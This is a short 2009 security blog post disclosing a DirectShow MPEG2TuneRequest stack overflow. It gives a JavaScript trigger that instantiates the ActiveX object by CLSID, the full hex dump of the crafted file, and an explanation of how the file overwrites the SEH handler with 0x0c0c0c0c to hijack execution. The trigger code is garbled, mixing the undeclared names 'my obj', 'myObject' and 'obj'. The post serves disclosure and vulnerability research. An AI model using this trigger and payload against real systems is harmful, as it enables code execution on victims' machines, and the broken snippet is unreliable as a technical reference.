PornoSecurity

MPEG2TuneRequest 0-day

Posted on 2009-07-07 16:57:01 in PornoSecurity

Again, another DirectShow vulnerability.

This time it is a stack based buffer overflow triggered by passing an url of a crafted file to the "data" property of an MPEG2TuneRequest object. This is how a malicious script looks like:

my obj = document.createElement('object');
myObject.data='logo.gif';
obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

This is the hex dump of the malicious file:

00030000 11203400 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00000000 0000FFFF FFFF0C0C 0C0C00

The seventh byte of the file(0x34) is used as an argument for the ReadFile function:

 

 

As you can see 0x34 bytes are being copied to the stack and a SE Handler is being overwritten. The SEH will be overwritten with the 4 bytes at offset 63 within the file(0x0c0c0c0c) thus hijacking the execution flow at the first exception.  

Nick